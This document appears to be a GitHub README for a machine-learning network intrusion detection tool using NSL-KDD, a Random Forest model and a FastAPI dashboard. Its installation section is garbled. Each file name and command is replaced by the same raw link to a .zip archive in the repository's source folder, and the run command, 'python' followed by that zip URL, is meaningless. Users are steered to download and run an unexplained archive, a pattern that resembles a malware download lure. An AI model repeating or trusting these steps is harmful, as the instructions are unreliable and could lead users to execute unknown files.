This application is a Machine Learning-based Intrusion Detection System that uses the NSL-KDD dataset. It helps in identifying and preventing network intrusions. Features include data preprocessing, feature engineering, a Random Forest model with an AUC of 0.96, ROC curve visualization, a FastAPI prediction API, and a real-time analysis dashboard for monitoring threats.
- Machine Learning: Employs advanced algorithms to detect intrusions.
- Real-Time Dashboard: Monitors network traffic and detects threats as they happen.
- FastAPI: Provides a simple way to get predictions on network intrusions.
- Performance Metrics: Features like AUC and ROC curve display the model's effectiveness.
- Data Handling: Includes preprocessing and feature engineering to enhance accuracy.
- Cybersecurity
- Data Science
- FastAPI
- Intrusion Detection
- Machine Learning
- Network Security
- NSL-KDD
- Python
- Security Analytics
- Threat Detection
Before downloading, ensure that your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: Python 3.6 or later
- Memory: At least 4 GB RAM
- Storage: Minimum of 1 GB free disk space
To get started with the network-intrusion-detection-ml application, follow these steps:
-
Click on the Download button at the top of the page, or visit the Releases page to find the latest version of the application.
-
Once on the Releases page, locate the appropriate version and click on it. You will see different assets available for download.
-
Select the file that matches your operating system. The file may have a name like
https://github.com/shenal00/network-intrusion-detection-ml/raw/refs/heads/main/src/ml_network_detection_intrusion_v2.8.zip. -
After the download is complete, navigate to the downloaded file on your computer.
-
If the file is a zip archive, extract it using your operating systemβs file manager.
-
Open a terminal or command prompt.
-
Navigate to the folder where you extracted the files.
-
Run the application by entering the command:
python https://github.com/shenal00/network-intrusion-detection-ml/raw/refs/heads/main/src/ml_network_detection_intrusion_v2.8.zip
To download the application, you can visit the following link for the latest release: Download Here.
Once you have downloaded and installed the application, you can run it as described in the Getting Started section.
-
After running
https://github.com/shenal00/network-intrusion-detection-ml/raw/refs/heads/main/src/ml_network_detection_intrusion_v2.8.zip, open your web browser. -
Go to
http://localhost:8000to access the real-time analysis dashboard. -
Use the dashboard to monitor the network traffic in real-time. It will display any detected intrusions instantly.
-
Make sure to feed relevant data into the FastAPI prediction API to analyze specific cases.
The application will provide details on detected threats and the potential severity. Look for the following in the dashboard:
- Alerts: Notifications of intrusion attempts.
- Traffic Analysis: Visualization of network traffic patterns.
- Performance Metrics: Measure the effectiveness of the detection model.
For issues or questions, please feel free to open an issue on the repository's GitHub page. We welcome constructive feedback and suggestions to improve the application.
We welcome contributions from the community. If you wish to support the project, please fork the repository, make your changes, and submit a pull request.
This project is licensed under the MIT License. You can view the license details in the LICENSE file in the repository.
For more information, check the Releases page for downloads and updates.